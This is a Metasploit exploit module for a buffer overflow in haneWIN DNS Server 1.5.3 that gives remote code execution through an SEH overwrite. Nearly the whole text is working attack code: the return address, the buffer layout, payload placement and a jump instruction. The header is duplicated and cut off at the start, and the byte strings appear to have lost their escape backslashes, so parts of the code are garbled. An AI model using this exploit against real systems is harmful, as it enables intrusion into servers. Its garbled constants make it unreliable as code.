haneWIN DNS Server 1.5.3 Buffer Overflow

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploi require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'haneWIN DNS Server Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in
haneWIN DNS Server <= 1.5.3. The vulnerability is triggered
by sending an overly long packet to the victim server. A memcpy
function blindly copies user supplied data to a fixed size buffer
leading to remote code execution.

This module was tested against haneWIN DNS 1.5.3
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '31260' ],
[ 'OSVDB', '102773' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'DisableNops' => true,
'BadChars' => "x00x0ax0dx20",
'PrependEncoder' => "x81xc4x54xf2xffxff" # Stack adjustment # add esp, -3500
},
'Platform' => 'win',
'DefaultTarget' => 0,
'Targets' =>
[
[
'Windows 2000 SP4 EN / haneWIN DNS 1.5.3',
{
# msvcrt.dll v6.10.9844.0
# pop esi/ pop edi/ retn
'Ret' => 0x78010394,
}
]
],
'DisclosureDate' => 'Jul 27 2013'))

register_options([Opt::RPORT(53)], self.class)
end

def exploit
connect

p = make_nops(32) + payload.encoded

buf = Rex::Text.pattern_create(5000)
buf[0, 2] = [0x4e20].pack('n') # length for malloc
buf[1332, p.length] = p
buf[2324, 8] = generate_seh_record(target.ret)
buf[2332, 15] = make_nops(10) + "xe9x13xfcxffxff" # jmp $-1000

print_status("Sending malicious request...")
sock.put(buf)
disconnect

end
end